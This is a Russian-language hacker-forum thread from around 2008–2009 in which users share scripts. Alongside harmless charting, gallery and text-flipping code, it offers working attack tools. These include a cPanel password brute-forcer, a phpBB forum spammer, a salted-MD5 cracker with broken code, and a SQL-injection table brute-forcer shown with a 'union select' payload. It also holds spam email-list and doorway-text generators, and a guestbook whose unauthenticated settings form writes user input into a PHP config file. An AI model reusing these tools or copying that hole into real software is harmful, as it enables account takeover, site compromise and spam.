В файле lib.php располагаются два класса. 1-й обрабатывает массив данных и приводит его к необходимому виду. 2-й класс, который отвечает за создание диаграммы на основе поступивших данных. Для создания круговой диаграммы заюзал старый заезженный метод, который для разных сред много раз описывался.
[Оправдания]
"...мапэд не мой...". Задание не мое, просто сделал для разминки, т.к. отдельное мне так и не дали. Работать с БД умышленно отказался, чтобы у тех, кто скачает не было необходимости в лишних телодвижениях для тестирования. Разбил на два класса, чтобы уменьшить зависимость компонентов.

CКАЧАТЬ http://slil.ru/26484386

nerezus
25.12.2008, 13:26
ss88, если кто-то в системе, то неверно считает. Предусмотри факт, что на момент отрисовки люди могут еще там быть.

Vid0k
25.12.2008, 20:36
маленький скрипт для создания N-ого количества текстовых файлов с заданным объемом текста в килобайтах, из большого числа других, с рандомизацией выборки.
[для чего?]
я писал скрипт для себя и решил выложить может кому нибудь пригодится.
очень быстро можно сделать например 10 файлов по мегабайту и в каждом файле будет текст из рандомной выборки по другим файлам.
юзаю для подготовки текстов для доров
скачать можно тут (http://slil.ru/26482361)
еще необходимо сделать две папки рядом со скриптом
папка texts(исходные тексты) и result(куда будут складываться собранные тексты)
права 0777

ss88
25.12.2008, 20:59
ss88, если кто-то в системе, то неверно считает. Предусмотри факт, что на момент отрисовки люди могут еще там быть.
Доделаю

ss88
26.12.2008, 14:25
Хорошо, что разложил логические задачи на два класса, изменил, теперь конструктору класса обработки массива данных нужно передавать еще время форы для пользователей, которые еще не вышли. Ссылку на скачивание обновил в посте с описанием.

Ru}{eeZ
26.12.2008, 16:08
Гостевая книга
http://develop.clubweb.ru/guestbook/guestbook_index.php

guestbook_index.php:

<!--Таблица cтилей-->
<link rel = "stylesheet" type = "text/css" href = "style.css" />
<?php
//Максимальное количество новостей на страницу
$maxNews = 5;
include('guestbook_config.php');
session_start();

//Если отправлены данные из формы...
if(isset($_POST['nameUser']) && isset($_POST['mailUser']) && isset($_POST['bodyUser']) && isset($_POST['captcaUser'])) {

//Проверка отправленных данных
foreach($badNames as $badName) {
$testNameUser = preg_match('/^[^ ^($badName)].{1,12}$/', $_POST['nameUser']);
if($testNameUser === TRUE) $filNameUser = $_POST['nameUser'];
}
$filMailUser = preg_match('/^[a-z0-9\-_\.]{1,15}@[a-z0-9\-_\.]{1,15}$/i', $_POST['mailUser']);
$filBodyUser = preg_match('/^.{1,5000}$/', $_POST['bodyUser']);

//Если принятые из формы данные прошли проверку, то записываем их в базу...
if($filNameUser == TRUE && $filMailUser == TRUE && $filBodyUser == TRUE && $_SESSION['captcha'] == $_POST['captcaUser'] /* && $badNames */) {

//Чтение базы и сортировка её данных по массивам через цикл
$fileBase = file('base.txt');
foreach($fileBase as $fileBase2) {
list($id[], $name[], $mail[], $body[]) = split('\|&\|', $fileBase2);
}

//К последней записи id добавляем 1 для записи нового id
$id = array_pop($id);
$id++;

//$bodyUser = $_POST['bodyUser'];
//$bodyUser = str_replace("\r\n", '<br />', $bodyUser);
$_POST['bodyUser'] = wordwrap(str_replace("\r\n", '<br>', htmlspecialchars($_POST['bodyUser'])), 60, '<br>', 1);
$_POST['bodyUser'] = preg_replace('#(https?://[^ ]+)#i','<a href="\\1">\\1</a>',$_POST['bodyUser']);

//Отерытие файла на добавление записи
$fp = fopen('base.txt', 'a');

//Запись данных в файл
//fputs($fp, $id.'|&|'.htmlspecialchars($_POST['nameUser']).'|&|'.htmlspecialchars($_POST['mailUser']).'|&|'.htmlspecialchars($bodyUser)."\r\n");
fputs($fp, $id.'|&|'.htmlspecialchars($_POST['nameUser']).'|&|'.htmlspecialchars($_POST['mailUser']).'|&|'.$_POST['bodyUser']."\r\n");
fclose($fp);
$_SESSION['captcha'] = '';
echo <<<HERE
<table width = "500px" border = "0" align = "center" id = "mainTable">
<tr>
<td>
<center>Комментарий успешно добавлен</center>
</td>
</table>
HERE;

//Если данные не верны...
} else {
echo <<<HERE
<table width = "500px" border = "0" align = "center" id = "mainTable2">
<tr>
<td>
<center>Не верные данные</center>
</td>
</tr>
HERE;
echo '';
if($filNameUser == FALSE) echo '<tr><td><span id = "mainTable2_2">- Не верное имя.</span><br />
<span id = "mainTable2_21">Имя может содержать только буквы русского и английского алфавита.</span></td></tr>';
if($filMailUser == FALSE) echo '<tr><td><span id = "mainTable2_2">- Не верный e-mail адрес.</span><br />
<span id = "mainTable2_21">E-mail адрес может содержать только буквы английского алфавита, цифры и символы "-_.@".</span></td></tr>';
if($filBodyUser == FALSE) echo '<tr><td><span id = "mainTable2_2">- Не верный текст комментария.</span><br />
<span id = "mainTable2_21">Текст должен быть не длиннее 5 тысяч символов.</span></td></tr>';
if($_SESSION['captcha'] !== $_POST['captcaUser']) echo '<tr><td><span id = "mainTable2_2">- Не верно введён текст с проверочного изображения.</span><br />
<span id = "mainTable2_21">Если Вам не понятен текст, изображённый на проверочном изображении, просто обновите страницу.</span></td></tr>';
echo '</table>';
}
} else {

//Чтение базы и сортировка её данных по массивам через цикл
$fileBase = file('base.txt');
foreach($fileBase as $fileBase2) {
list($id[], $name[], $mail[], $body[]) = split('\|&\|', $fileBase2);
}
echo <<<HERE
<table width = "100%" height = "100%" border = "0" cellspacing = "0"><tr><td valign = "top">
<table width = "500px" border = "0" align = "center" id = "mainTable">
HERE;

//Если в данных сессии содержатся верные логин администратора и пароль
if(isset($_SESSION['loginName']) && isset($_SESSION['loginPass'])) {
if($_SESSION['loginName'] == $admin['name'] && $_SESSION['loginPass'] == $admin['pass']) {
echo <<<HERE
<tr>
<td valign = "top" height = "1px" id = "tdNew">
<span id = "adminLink"><a href = "guestbook_admin.php">Адмынко</a></span>
</td>
</tr>
HERE;
}
}

//Если передан номер страницы ($_GET['page'])...
if(empty($_GET['page'])) $_GET['page'] = 1;
if(isset($_GET['page']) && is_array($_GET['page']) === FALSE) {
//$huy = $maxNews * $_GET['page'];

//Проверка каждой новости на существование и вывод существующих на экран

//Если в guestbook_config.php, в переменной $commentsOrder выбрано значение "1" (От меньшего к большему)...
if($commentsOrder === 1) {
for($i = $maxNews * $_GET['page'] - $maxNews; $i < $maxNews * $_GET['page']; $i++) {
//$countId = count($id) - 1; for($i = $countId - $maxNews * $_GET['page'] + $maxNews; $i > $countId - $maxNews * $_GET['page']; $i--) {
if(isset($id[$i]) && isset($name[$i]) && isset($mail[$i]) && isset($body[$i])) {
echo <<<HERE
<tr>
<td valign = "top" height = "1px" id = "tdNew">
<span id = "titleComment"><b>$id[$i]</b>, От: <a href = "mailto:$mail[$i]?subject=GuestBookClubWeb">$name[$i]</a><br /></span>
$body[$i]
</td>
</tr>
HERE;
}
}
}
//Если в guestbook_config.php, в переменной $commentsOrder выбрано значение "2" (От большего к меньшему)...
if($commentsOrder === 2) {
$countId = count($id) - 1;
for($i = $countId - $maxNews * $_GET['page'] + $maxNews; $i > $countId - $maxNews * $_GET['page']; $i--) {
if(isset($id[$i]) && isset($name[$i]) && isset($mail[$i]) && isset($body[$i])) {
echo <<<HERE
<tr>
<td valign = "top" height = "1px" id = "tdNew">
<span id = "titleComment"><b>$id[$i]</b>, От: <a href = "mailto:$mail[$i]?subject=GuestBookClubWeb">$name[$i]</a><br /></span>
$body[$i]
</td>
</tr>
HERE;
}
}
}
}

//Вывести список (количество по отношению к новостям) страниц
echo <<<HERE
<tr>
<td valign = "top" id = "pageString" height = "1px">
<center>
HERE;
for($i = 1; $i <= ceil(count($name)/$maxNews); $i++) {
if($_GET['page'] == $i) echo '<font color = "gray">'."$i".'</font> ';
else echo "<a href = \"?page=$i\">$i </a>";
}

//Поле для добавления комментария
echo <<<HERE
</center>
</td>
</tr>
<tr>
<td height = "1px">

<table width = "100%" border = "0">
<form method = "POST">
<tr>
<td width = "1px" id = "secondTable">
Ваше&nbsp;Имя:
</td>
<td width = "100%">
<input type = "text" name = "nameUser" style = "width: 100%;">
</td>
</tr>
<tr>
<td id = "secondTable">
Ваш&nbsp;Mail:
</td>
<td>
<input type = "text" name = "mailUser" style = "width: 100%;">
</td>
</tr>
<tr>
<td colspan = "2">
<textarea style = "width: 100%; height: 100px;" name = "bodyUser"></textarea>
</td>
</tr>
<tr>
<td colspan = "2">
<img src = "img.php"><input type = "text" name = "captcaUser">
</td>
</tr>
<tr>
<td colspan = "2" align = "right" height = "1px">
<input type = "submit" value = "Отправить">
</td>
</tr>
</form>
</table>

</td>
</tr>
</table>
</td></tr><tr><td height = "1px" valign = "top" align = "right">
<span id = "cop"><a href = "http://develop.clubweb.ru">GuestBookClubWeb 1.1</a></span>
</td></tr></table>
HERE;
//var_dump($_SESSION['captcha']);
}
?>


guestbook_admin.php:

<?php
include('guestbook_config.php');
$maxStrings = 15;
session_start();

if(isset($_POST['loginName']) && isset($_POST['loginPass'])) {
$_SESSION['loginName'] = $_POST['loginName'];
$_SESSION['loginPass'] = $_POST['loginPass'];
}

if(isset($_POST['exit'])) {unset($_SESSION); session_destroy();}

if(isset($_SESSION['loginName']) && isset($_SESSION['loginPass'])) {
if($_SESSION['loginName'] == $admin['name'] && $_SESSION['loginPass'] == $admin['pass']) {
echo <<<HERE
<form method = "POST">
<input type = "submit" name = "exit" value = "Выход">&nbsp;<a href = "guestbook_index.php">Гостевая книга</a>
</form>
<a href = "guestbook_admin.php?list">Список новостей</a>&nbsp;-
<a href = "guestbook_admin.php?settings">Настройки системы</a>
<hr>
HERE;
if(isset($_GET['list'])) {
echo <<<HERE
<table width = "100%" border = "1">
<tr>
<td align = "center" width = "1px">
<b>ИД</b>
</td>
<td align = "center" width = "1px">
<b>Имя</b>
</td>
<td align = "center" width = "1px">
<b>E-mail</b>
</td>
<td align = "center">
<b>Текст</b>
</td>
<td align = "center" width = "1px">
<b>Дата</b>
</td>
<td align = "center" width = "1px">
<b>Действия</b>
</td>
</tr>
HERE;
$fileBase = file('base.txt');
foreach($fileBase as $fileBase2) {
list($id[], $name[], $mail[], $body[]) = split('\|&\|', $fileBase2);
}
$huy = $maxStrings * $_GET['page'];
for($i = $huy - $maxStrings; $i < $huy; $i++) {
if(isset($id[$i]) && isset($name[$i]) && isset($mail[$i]) && isset($body[$i])) {
echo <<<HERE
<tr>
<td>
$id[$i]
</td>
<td>
$name[$i]
</td>
<td>
$mail[$i]
</td>
<td>
$body[$i]
</td>
<td>
дата
</td>
<td>
<a href = "?edit=$i">Редактировать</a>&nbsp;-&nbsp;<a href = "?delete=$i">Удалить</a>
</td>
</tr>
HERE;
}}
echo '<tr><td colspan = "6" align = "center">';
for($i = 1; $i <= ceil(count($name)/$maxStrings); $i++) {
if(!isset($_GET['page'])) $_GET['page'] = 1;
if($_GET['page'] == $i) echo '<font color = "gray">['."$i".']</font> ';
else echo "<a href = \"?list&page=$i\">[$i] </a>";
}
echo '</td></tr></table>';
}
} else echo 'Все бомжи';
} else {
echo <<<HERE
<table height = "100%" width = "100%" border = "0">
<tr>
<td align = "center">
<form method = "POST">
<input type = "text" name = "loginName"><br>
<input type = "password" name = "loginPass"><br>
<input type = "submit" value = "Вход">
</form>
</td>
</tr>
</table>
HERE;
}

if(isset($_GET['settings'])) {
if(isset($_POST['order'])) {
$fgcConf = file_get_contents('guestbook_config.php');
$fpConf = fopen('guestbook_config.php', 'w');
$fgcConf = preg_replace('|\$commentsOrder = [1,2];|', '$commentsOrder = '."{$_POST['order']}".';', $fgcConf);
fputs($fpConf, $fgcConf);
fclose($fpConf);
echo 'Настройки успешно изменены';
} else {
echo <<<HERE
<table border = "1" width = "100%">
<form method = "POST">
<tr>
<td>
Показ&nbsp;новостей:
</td>
<td width = "100%">
<input type = "radio" name = "order" value = "1">От меньшего к большему
<input type = "radio" name = "order" value = "2">От большего к меньшему
</td>
</tr>
<tr>
<td colspan = "2" align = "right">
<input type = "submit" value = "Сконфигурировать">
</td>
</tr>
</form>
</table>
HERE;
}
}

?>


guestbook_config.php:

<?php
$admin['name'] = 'login';
$admin['pass'] = 'pass';
$commentsOrder = 2;
$badNames = array(
'Admin',
'Administrator',
'Админ',
'Администратор',
'Аdmin',
'Аdministrator',
'Аdministrаtor',
'Аdministratоr'
);
?>


img.php:

<?php
session_start();
$image = imageCreate(100, 30);
imageColorAllocate($image, 255, 255, 255);
for($i = 0; $i < 10; $i++) $color[] = imageColorAllocate($image, mt_rand(0,240), mt_rand(0,240), mt_rand(0,240));
$abc = array('A','B','C','D','E','F','G','H','I','J','K', 'L','M','N','1','2','3','4','5','6','7','8','9');
$rand = array();
$fullRand = '';
for($i = 0; $i < 6; $i++) $rand[] = $abc[mt_rand(0,22)];
foreach($rand as $randOne) $fullRand .= $randOne;
$_SESSION['captcha'] = $fullRand;
for($i = 0; $i < 6; $i++) imageTtfText($image,mt_rand(12,15),mt_rand(-20,20),15 * $i + mt_rand(4,8),mt_rand(20,25),$color[$i],'arial.ttf',$rand[$i]);
for($i = 0; $i < 3; $i++) imageArc($image, mt_rand(0,90), mt_rand(0,20), mt_rand(10,60), mt_rand(10,60), mt_rand(-380,0), mt_rand(0,380), $color[$i]);
header('Content-type: image/png');
imagePng($image);
?>


style.css:

body {
font-family: tahoma;
margin: 0px;
}

#mainTable {
background-color: #dbeaff;
}

#mainTable2 {
background-color: #dbeaff;
color: red;
}

#mainTable2_2 {
background-color: #dbeaff;
font-size: 12px;
color: #c50000;
}

#mainTable2_21 {
background-color: #dbeaff;
font-size: 10px;
color: #797979;
}

#secondTable {
background-color: #f6faff;
font-size: 14px;
color: #426ba4;
}

#tdNew {
border-bottom: 1px solid #f6faff;
font-size: 14px;
}

#tdNew a:link {
color: #0074bd;
}

#tdNew a:visited {
color: #0074bd;
}

#tdNew a:hover {
color: #24aaff;
}

#pageString a {
color: #70acff;
text-decoration: none;
}

#adminLink a {
color: #70acff;
text-decoration: none;
}

#cop {
font-size: 10px;
}

#cop a:link {
color: #77caff;
}

#cop a:visited {
color: #77caff;
}

#cop a:hover {
color: #24aaff;
}

#titleComment {
color: gray;
}


base.txt (Заполняется скриптом):

1|&|макииа|&|cevr@erbvrb.ru|&|vwrrbrbrg erhk gerh guiwer gui3rhgui er
2|&|btr|&|trtntntn@iehf.com|&|rbetntnt4nt4 t4 n tr4n t4
3|&|btr|&|trtntntn@iehf.com|&|rbetntnt4nt4 t4 n tr4n t4
4|&|btr|&|trtntntn@iehf.com|&|rbetntnt4nt4 t4 n tr4n t4
5|&|btr|&|trtntntn@iehf.com|&|rbetntnt4nt4 t4 n tr4n t4
6|&|btr|&|trtntntn@iehf.com|&|rbetntnt4nt4 t4 n tr4n t4
7|&|btr|&|trtntntn@iehf.com|&|rbetntnt4nt4 t4 n tr4n t4
8|&|btr|&|trtntntn@iehf.com|&|rbetntnt4nt4 t4 n tr4n t4
9|&|btr|&|trtntntn@iehf.com|&|rbetntnt4nt4 t4 n tr4n t4
10|&|btr|&|trtntntn@iehf.com|&|rbetntnt4nt4 t4 n tr4n t4


+ кладём arial.ttf

Писал чисто для самообучения так сказать :)
Админка недописана, если кто-то хочет - пишите))

DDoSька
26.12.2008, 21:39
Там с Mysql-ом строчек 20 кода, не считая дизайна!
Согласен, но ведь кто-то и мускул поставить не может....Новичкам пойдет

X-FRITS
29.12.2008, 12:07
Задание: хранимая функция MySQL для чисел фибоначи.
SELECT FIBONACHI(5);

CREATE PROCEDURE FIBONACHI(IN nomer INTEGER)
BEGIN
IF nomer = 1 or nomer = 2 THEN
SET nomer = 1;
ELSE
SET nomer = FIBONACHI(nomer-1)+FIBONACHI(nomer-2);
END IF
RETURN nomer
END
(НЕТЕСТИЛ)

Кажется так, я с mysql не силён, выучил, только что бы cделать задание...
https://forum.antichat.ru/showpost.php?p=997785&postcount=42


вот ещё вариант на PHP(рабочий)

<?php
function fibonachi($i){
if (($i==1)or($i==2)){ return 1; break;}else{
$otvet=fibonachi($i-1)+fibonachi($i-2);
return $otvet;}}
echo fibonachi(10);
?>

#Wolf#
29.12.2008, 16:21
<?php
###############################
#Calculation brute-force time
# By #Wolf# & Special thanks -=lebed=-
################################
if(isset($_POST['char']) && isset($_POST['num']) && isset($_POST['speed']))
{
$char=$_POST['char'];
$num=$_POST['num'];
$speed=$_POST['speed'];
$do=pow($char,$num);
$do2=$do/$speed;
$se=$do2/1000000;
$ro=round($se);
}
function format_time($sec) {
$a = array(
31556926 => 'year', //количество секунд в году
2629743 => 'month', //количество секунд в месяце
86400 => 'day', // количество секунд в сутках
3600 => 'hour', // количество секунд в часе
60 => 'min', // количество секунд в минуте
1 => 'sec' // количество секунд в секунде
);
$out = '';
foreach ($a as $k=>$v) {
$tmp = floor($sec/$k);
$out .= ($tmp?$tmp.$v.' ':'');
$sec -= $tmp*$k;
}
return $out;
}

echo <<<HERE
<html>
<head>
<title></title>
<style>
body
{
background-color: #cdc9c9;
}
table
{
border: 1px #666666 solid;
}
td,th
{
font-size: 10px;
font-family: verdana, tahoma;
color: #666666;
background-color: #cdc9c9;
border: 0px #333333 solid;
}
input
{
font-family: verdana, tahoma;
font-size: 10px;
color: grey;
background-color: #cdc9c9;
border: 1px #666666 solid;
}
a
{
font-size: 10px;
text-decoration: none;
color: grey;
}
</style>
</head>
<table border="0" width="600" align="center">
<form method="POST">
<tr>
<td colspan="2" align="center">
<b>Скрипт для расчета времени перебора</b>
</td>
</tr>
<tr>
<td>Символов в наборе</td>
<td><input type="text" name="char" size="50"></td>
</tr>
<tr>
<td>Глубина перебора(длина)</td>
<td><input type="text" name="num" size="50"></td>
</tr>
<tr>
<td>Скорость перебора(млн/с)</td>
<td><input type="text" name="speed" size="50"></td>
</tr>
<tr>
<td colspan="2" align="center"><input type="submit" value="Отправить"></td>
</tr>
<td colspan="2" align="center">
<b>
HERE;
echo format_time($ro)."<b>

<tr>
<td colspan=\"2\" align=\"center\">
Coded by <b>#Wolf# & Special thanks -=lebed=- ;-)</b>
</td>
</tr>
</form>
</table>";
?>

-Hormold-
29.12.2008, 17:08
Вы хотели создать свой квест?
Это вам поможет!!
HTML and CSS by Ponchik
Там есть и начала где список тех кто прошёл, и конец где модно оставить свой текст!
Удачи!
Или тут: http://v0id.cn/file/sQuest.rar
Демо: http://v0id.cn/file/sQuest/

Pashkela
29.12.2008, 21:30
Тем, кто часто работает с SIPT4. Просто в один прекрасный день (сегодня) достало объяснять этой, несомненно, мегапроге, что по ссылке, где я хочу произвести брут таблиц/колонок в MySQL4 есть SQL-Inj, и причем частенько SIPT4 не может увидеть саму скулю, но мы то знаем, что скуля есть:) В итоге написал именно БРУТЕР, без всякой лишней галиматьи, которому не надо объяснять GET, POST, заново подбирать кол-во полей и т.д., а просто вписать ссылку и запустить.

mysql4bruter.exe - Программа mysql4bruter.exe предназначена для брута таблиц и колонок в MySQL<5

В комплекте 7 файлов:

1. mysql4bruter.exe - сама программа

2. source_url.txt - файл инициализация URL, не может быть пустым, при котором можно получить SQL-inject (в этой версии предполагается, что количество колонок вы уже подобрали сами самостоятельно и вам лишь следует скопирвать нужный URL в
этот файл и заменить номер принтабельной колонки (одной) на символ "№"). Например есть уязвимость по
ссылке:

http://www.sait.ru/index.php?id=1+union+select+1,version()/*
в source_url.txt надо вставить:
http://www.sait.ru/index.php?id=1+union+select+1,№ и переходить к пункту 3

3. source_filtr.txt - файл инициализации фильтра (/*,--,# и т.д. или просто пусто)

4. source_limit.txt - файл инициализации limit:
Пусто - без limit
0 - /**/limit/**/0,1
1 - /**/limit/**/1,1

5. source_unhex_hex.txt - файл инициализации для команды unhex(hex()), во избежании проблем с несовпадением с кодировками в некоторых случаях, не может быть пустым:

0 - no
1 - yes

6. После того, как вы занесли заполнили эти два файла (обязательное условие для корректной работы программы), можете запускать саму программу RUN!!!.cmd. Начнется брут по списку таблиц из файла source_table_list.txt, результаты которого будут сохранены в output.txt

7. После того, как вы сбрутили хоть одну таблицу, вы можете начать брутить колонки из этой таблицы,
для этого вам надо заполнить файл source_table.txt - а именно просто внести туда название интересующей вас таблицы. И снова запустить RUN!!!.cmd. Будет произеден брут полей интересующей вас таблицы по списку из файла
source_column_list.txt и результаты будут также сохранены в файл output.txt

Example: http://www.site.org/index.php?id=1+union+select+1,version()/*
source_url.txt: "http://www.site.org/index.php?id=1+union+select+1,№"
source_unhex_hex.txt : "0"
source_filtr.txt: "/*"
source_table.txt: ""
source_column.txt: ""
source_limit.txt: ""

Программа написана на чистом PHP (c)Pashkela ( 0,53 Мб )

Скачать: http://pashkela.narod.ru/progi/MySql4Bruter.rar

Пароль на архив - 123

В комплекте словари от того же SIPT4

waik
30.12.2008, 23:49
Вот тоже скриптик несильно нужный но ради боловстава выложу.Переворачивает текст задом наперед

<script language="JavaScript"> function IIIIIIIIIIII() { var result = flipString(document.f.original.value.toLowerCase() ); document.f.flipped.value = result; } function flipString(aString) { var last = aString.length - 1; var result = new Array(aString.length) for (var i = last; i >= 0; --i) { var c = aString.charAt(i) var r = flipTable[c] result[last - i] = r != undefined ? r : c } return result.join('') } var flipTable = { a : '\u0250', b : 'q', c : '\u0254', //open o -- from pne d : 'p', e : '\u01DD', f : '\u025F', //from pne g : '\u0183', h : '\u0265', i : '\u0131', //from pne j : '\u027E', k : '\u029E', //l : '\u0283', m : '\u026F', n : 'u', r : '\u0279', t : '\u0287', v : '\u028C', w : '\u028D', y : '\u028E', '.' : '\u02D9', '[' : ']', '(' : ')', '{' : '}', '?' : '\u00BF', //from pne '!' : '\u00A1', "\'" : ',', '<' : '>', '_' : '\u203E', ';' : '\u061B', '\u203F' : '\u2040', '\u2045' : '\u2046', '\u2234' : '\u2235', '\r' : '\n' //thank you, Waik } for (i in flipTable) { flipTable[flipTable[i]] = i } </script></head><body> <form name="f"> <textarea rows="5" cols="50" name="original" onkeyup="IIIIIIIIIIII()"></textarea><input value="Flip" onclick="IIIIIIIIIIII()" type="button"> <textarea rows="5" cols="50" name="flipped"></textarea> </form>

faza02
03.01.2009, 16:43
<html><head>
<meta name="GENERATOR" content="Microsoft FrontPage 6.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>phpBB Spammer</title>
<script type="text/javascript">
<!--

function submitForm(counter)
{
document.title = 'phpBB Spammer' + counter + ' topics posted';

if(document.docform.script_on.value == '1')
{
document.docform.action = document.docform.target.value;
document.docform.submit();
counter++;
}
document.getElementById('counterspan').innerHTML = counter;
setTimeout("submitForm(" + counter + ")", document.docform.intervals.value * 1000);
}

function onOff()
{
if(document.docform.script_on.value == '1')
{
document.docform.script_on.value = '0';
document.docform.stopstart.value = 'Start!';
}
else
{
document.docform.script_on.value = '1';
document.docform.stopstart.value = 'Stop!';
}
}

//-Arrow
</script>
</head><body onload="submitForm(0)" style="font-family: Verdana; font-size: 8pt; font-style: italic;">



<form name="docform" enctype="multipart/form-data" action="" method="post" target="iframe">
<div align="left">
<table style="border-collapse: collapse;" id="AutoNumber1" bgcolor="#dee9f3" border="1" bordercolor="#c0c0c0" cellpadding="0" cellspacing="0" width="100%">
<tbody><tr>
<td colspan="2" bgcolor="#c4d8ea">
<h1 align="center">
<span style="font-style: italic; text-decoration: underline;">Afterlife's phpBB Spammer!</span></h1>
</td>
</tr>
<tr>
<td width="54%"><i><font size="1">&nbsp;Intervals (seconds)</font></i></td>
<td width="46%"><font size="1"><input name="intervals" size="57" value="30" type="text"></font></td>
</tr>
<tr>
<td width="54%"><i><font size="1">&nbsp;Forum ID (This can be found in the forum url, in the url
you will see viewforum.php?f={num}, the number is the id.)</font></i></td>
<td width="46%"><font size="1"><input name="f" size="57" type="text"></font></td>
</tr>
<tr>
<td width="54%"><i><font size="1">&nbsp;Target</font></i></td>
<td width="46%">
<font size="1">
<input name="target" size="57" value="http://www.phpbb.com/phpBB/posting.php" type="text"></font></td>
</tr>
<tr>
<td width="54%"><i><font size="1">&nbsp;Topic Title</font></i></td>
<td width="46%">
<font size="1">
<input name="subject" size="57" value="Spam!" type="text"></font></td>
</tr>
<tr>
<td width="54%"><i><font size="1">&nbsp;Topic Content</font></i></td>
<td width="46%">
<font size="1">
<textarea rows="5" name="message" cols="48">You are being spammed bitch!</textarea></font></td>
</tr>
<tr>
<td width="54%"><i><font size="1">&nbsp;Controls</font></i></td>
<td width="46%">
<font size="1">
<input value="Start!" name="stopstart" onclick="onOff()" type="button"><i>
<input name="script_on" value="0" type="hidden">
<input name="mode" value="newtopic" type="hidden">
<input name="post" class="mainoption" value="Submit" type="hidden">
&nbsp;(Please be logged in first, Use the autologin feature)</i></font></td>
</tr>
<tr>
<td width="54%"><i><font size="1">&nbsp;Total post requests made</font></i></td>
<td width="46%">
<i>
<font size="1">&nbsp;<span id="counterspan">0</span></font></i>
</td>
</tr>
<tr>
<td colspan="2">
<i><font size="1">
<iframe name="iframe" marginwidth="1" marginheight="1" border="0" align="center" width="100%" frameborder="0" height="500">
Your browser does not support inline frames or is currently configured
not to display inline frames, This spammer requires inline frames to
function.</iframe>

</font></i>

</td>
</tr>
</tbody></table>
</div>
</form>

</body></html>
(с) dnsman

Pashkela
06.01.2009, 19:58
Основано на javasсriрt, если конкретней на lightgallery, проверено на narod.ru (где, как известно, кроме javasсriрt ничего больше и нет - значит будет работать на любом сайте), аналогов нет. С анимацией и превьюшками и автоподстройкой под разрешение монитора.

Посмотреть в действии здесь:

http://pashkela.narod.ru/foto/index.html

скачать здесь:

http://pashkela.narod.ru/foto/gallery.rar

В комплекте несколько файлов:

1. Каталог lightgallery - там скрипты, кнопки и прочее
2. Тестовые картинки 1.jpg, 2.jpg, 3.jpg, 4.jpg (просто, чтобы понять, как работает)
3. Основная страница - index.html

Принцип проще некуда (найдете проще - отпишитесь:)):

1. Скачиваем и распаковываем на свой комп http://pashkela.narod.ru/foto/gallery.rar
2. Открываем index.html в блокноте (правая кнопочка мышки на файл-открыть с помощью-блокнот)
3. Сверху нас интересуют только три строчки:

//КОЛИЧЕСТВО ФОТОГРАФИЙ

var kol=4;

//РАСШИРЕНИЕ ФОТОГРАФИЙ (.jpg, .gif, .bmp, etc...)

var ras = "jpg";

//НАЗВАНИЕ ГАЛЕРЕИ

var naz = "НОВЫЙ ГОД";

думаю тут объяснять не надо, просто меняете на свои параметры и всё.

Заливает на свой сервер, например http://ваш_ник_на_народе/foto/

туда же заливаете фотки, ТУТ ВНИМАТЕЛЬНО:

все фотки просто должны быть переименованы в

1.jpg, 2.jpg, 3.jpg, 4.jpg.......100.jpg

ну естественно начиная с 1 и заканчивая просто сколько у вас фоток. Если не .jpg, то и ничего страшного, просто в index.html укажите Ваш тип расширения

Собственно и всё. Переходите по адресу http://ваш_ник_на_народе/foto/index.html и наслаждаетесь

Кемит Блонски
08.01.2009, 07:58
брут мд5 хэшей с солью.

set_time_limit(0);
if (!isset($_POST['crack'])) {
echo "<i>World-List</i>: <input type='text' name='list'><br>";
echo "<i>MD5 Hash</i>: <input type='text' name='hash'><br>";
echo "<i>Salt</i>: <input type='text' name='salt'><br>";
echo "<input type='submit' name='submit' value='Crack The Salt!'>";
$list = $_POST['list'];
$hash = $_POST['hash'];
$salt = $_POST['salt'];
}else{

foreach(file($list) as $line){
$line = str_replace("\n","",$line);
$cracked = md5(md5($line).$salt);
if($hash = $cracked){
die("Salt Broken...<br>
[+]Password = $line<br>");

}
}else{
echo "Sorry mate, no payoff today, try another list!";
}
?>

Кемит Блонски
08.01.2009, 08:00
cPanel 11 Bruteforcer [php]


<?php
echo "URL (cPanel Main Page e.G http://site.com:2082): ";
$url = trim(fgets(STDIN));
echo "USER TO BRUTE: ";
$user = trim(fgets(STDIN));
echo "PASSLIST: ";
$passlist = trim(fgets(STDIN));
brute_cPanel($url, $user, $passlist);
function login_cPanel($url, $user, $pass)
{
$target = trim($url)."/login/";
$post_data = "login_theme=cpanel&user=".$user."&pass=".$pass;
$referer = trim($url);
$user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3";
$curl_conf = array(
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_FOLLOWLOCATION => TRUE,
CURLOPT_USERAGENT => $user_agent,
CURLOPT_REFERER => $referer,
CURLOPT_POST => TRUE,
CURLOPT_POSTFIELDS => $post_data
);
$curl_handle = curl_init($target);
curl_setopt_array($curl_handle, $curl_conf);
$content = curl_exec($curl_handle);
file_put_contents("result.htm", $content);
if (!preg_match("[Login Attempt Failed\!]", $content))
{
return true;
}
else
{
return false;
}
}
function brute_cPanel($url, $user, $passlist)
{
$passes = file($passlist);
$count = count($passes);
$counter = 0;
echo "CHECKING FOR ".$count." PASSES\r\n";
while ($counter < $count):
$current_pass = trim($passes[$counter]);
if (login_cPanel($url, $user, $current_pass))
{
echo "SUCCESS: ".$current_pass."\r\n";
return true;
}
$counter++;
endwhile;
return false;
}
?>

Qisse
10.01.2009, 12:24
Генератор e-mail


<?php
/* bk.ru || list.ru || mail.ru || inbox.ru */
$domain = 'bk.ru';
/* Generator */
$fp2 = fopen("3d_mail.txt", "a");
$str = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($iii=0; $iii<strlen($str); $iii++) {
for ($ii=0; $ii<strlen($str); $ii++) {
for ($i=0; $i<strlen($str); $i++) {
fputs($fp2, $str[$i].$str[$ii].$str[$iii]."@".$domain."\r\n");
}}}
fclose($fp2);
?>


Данный гавно скриптик сгенерит 3х значные имейлы вида мыло@домен.ру Всего генерит 46656 мыл.

burcev
10.01.2009, 13:19
Выкладываю тут свои php-классы, думаю, кому-нибудь пригодится :)

1). Класс рисования диаграмм и графиков. Весьма навороченная штука, умеет рисовать столбчатые и круговые диаграммы, оси координат, графики по точкам, легенды, графики функций, ступенчатые графики, сетку, градиенты... и всё это с множеством настроек. Содержит более 100 функций, есть очень подробное их описание и пара примеров.


